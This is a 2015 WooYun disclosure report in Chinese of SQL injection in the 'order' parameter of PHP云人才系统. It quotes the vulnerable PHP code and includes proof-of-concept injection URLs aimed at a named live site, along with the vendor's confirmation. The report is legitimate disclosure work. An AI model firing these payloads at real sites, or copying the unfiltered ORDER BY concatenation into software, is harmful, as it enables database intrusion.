当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089489

漏洞标题:PHP云人才系统(20141229)2处SQL注入

相关厂商:php云人才系统

漏洞作者: 龟兔赛跑

提交时间:2015-01-07 12:50

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-11: 厂商已经确认,细节仅向厂商公开
2015-01-14: 细节向第三方安全合作伙伴开放
2015-03-07: 细节向核心白帽子及相关领域专家公开
2015-03-17: 细节向普通白帽子公开
2015-03-27: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

PHP云人才系统(20141229)二处隐蔽的SQL注入

详细说明:

PHP云人才系统二处SQL注入。
0x01: 问答首页
========================
URL为:

http://www.hr135.com/ask/index.php?order=add_time


其中参数order可以注入。
看看代码/include/libs/Smarty_Compiler.class.php:5330

5330  	function _complie_qlist_start($tag_args)
5331 {
5332 $paramer = $this->_parse_attrs($tag_args);
5333 $item = str_replace("'","",$paramer[item]);
5334 global $db,$db_config,$config;
5335 $path = dirname(dirname(dirname(__FILE__)));
5336 $ParamerArr = $this->GetSmarty($paramer,$_GET);
5337 $paramer = $ParamerArr[arr];
5338 $Purl = $ParamerArr[purl];
5339
5340 $where=1;
5341 //�����ֶ�Ĭ��Ϊ����ʱ��
5342 if($paramer[order]){
5343 if($paramer[order]=="addtime"){
5344 $paramer[order]="add_time";
5345 }
5346 if($paramer[order]=="answernum"){
5347 $paramer[order]="answer_num";
5348 }
5349 $order = " ORDER BY `".$paramer[order]."` desc";
5350 }else{
5351 $order = " ORDER BY `add_time` desc";
5352 }
5353 if($paramer[cid]){
5354 $where .=" and `cid`='".$paramer[cid]."'";
5355 }
5356 if($paramer[uid]){
5357 $where .=" and `uid`='".$_COOKIE[uid]."'";
5358 }
5359 if($paramer[recom]){//�Ƽ� �ֶ�
5360 $where .=" and `is_recom`='1'";
5361 }
5362 if($paramer[limit]){
5363 $limit=" limit ".$paramer[limit];
5364 }
5365 if($paramer[ispage]){
5366 $limit = $this->PageNav($paramer,$_GET,"question",$where,$Purl,"","2");
5367 //$limit = $this->PageNav($paramer,$_GET,"q_class",$where,$Purl,'','2');
5368 //$this->_tpl_vars["firmurl"] = $config['sy_weburl']."/index.php?m=question".$ParamerArr[firmurl];
5369 }
5370 $rs = $db->select_all("question",$where.$order.$limit);


里面的5349行将$paramer[order]带入了SQL,由于有``,但是addslashs不会修改`,所以可以注入`闭合原来SQL,然后插入SQL语句。
再看看调用的地方,/ask/model/index.class.php:26

26  	function index_action(){
27 $this->public_action();
28 $this->yunset("c","index");
29 $this->yunset("order",$_GET['order']);
30 $my_attention=$this->obj->DB_select_once("attention","`uid`='".$this->uid."' and `type`='1'","ids");
31 $my_atten=@explode(',',rtrim($my_attention['ids'],","));
32 $this->seo('ask_index');
33 $this->yunset("my_atten",$my_atten);
34 $this->wenda_tpl('index');
35 }


$this->yunset("order",$_GET['order']);没有过滤order,传递给参数@order。
然后在模版里面template/ask/index.htm:15

15          {yun:}qlist item=qlist ispage=1 t_len=20 order=@order limit=10{/yun}
16 <div class="answers_left_list">
17 <div class="answers_left_list_left">
18 <div class="answers_app_left" onmouseover="get_user_info('question_','{yun:}$qlist.id{/yun}','{yun:}$qlist.uid{/yun}','50');" onmouseout="hide_user_info('question_','{yun:}$qlist.id{/yun}')" id='question_{yun:}$qlist.id{/yun}' style=" cursor:pointer">
19 <img src="{yun:}$qlist.pic{/yun}" width="40" height="40" onerror="showImgDelay(this,'{yun:}$config.sy_weburl{/yun}/{yun:}$config.sy_friend_icon{/yun}',2);">
20 </div>
21 </div>


在第15行将@order传递给了_complie_qlist_start().

http://www.hr135.com/ask/index.php?order=add_time`

SQL出错没有任何数据

1.png


http://www.hr135.com/ask/index.php?order=add_time`%20limit%201%23

取一条数据:

2.png


http://www.hr135.com/ask/index.php?order=add_time`%20limit%202%23

取两条数据:

3.png


0x02: 找工作搜索页
========================
URL为:

http://www.hr135.com/index.php?m=com&order=id&c=search&keyword=a

order参数可以注入。

http://www.hr135.com/index.php?m=com&order=id`&c=search&keyword=a

SQL出错,没有数据

4.png


http://www.hr135.com/index.php?m=com&order=id%20limit%201%23&c=search&keyword=a

取一条数据:

5.png


http://www.hr135.com/index.php?m=com&order=id%20limit%202%23&c=search&keyword=a

取两天数据:

6.png


0x03: 招人才首页
========================
URL为:

http://www.hr135.com/index.php?m=user&order=status_time


其中参数order可以注入。

http://www.hr135.com/index.php?m=user&order=status_time`

SQL出错,没有数据:

7.png


http://www.hr135.com/index.php?m=user&order=status_time`%20limit%201%23

取一条数据:

8.png


http://www.hr135.com/index.php?m=user&order=status_time`%20limit%202%23

取两条数据:

9.png

漏洞证明:

2.png


http://www.hr135.com/ask/index.php?order=add_time`%20limit%202%23

取两条数据:

3.png


5.png


http://www.hr135.com/index.php?m=com&order=id%20limit%202%23&c=search&keyword=a

取两天数据:

6.png


8.png


http://www.hr135.com/index.php?m=user&order=status_time`%20limit%202%23

取两条数据:

9.png

修复方案:

include/libs/Smarty_Compiler.class.php里面搜索一下ORDER BY,基本上搜出来的地方都需要过滤。

版权声明:转载请注明来源 龟兔赛跑@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-11 12:29

厂商回复:

感谢提供,我们会尽快修复!

最新状态:

暂无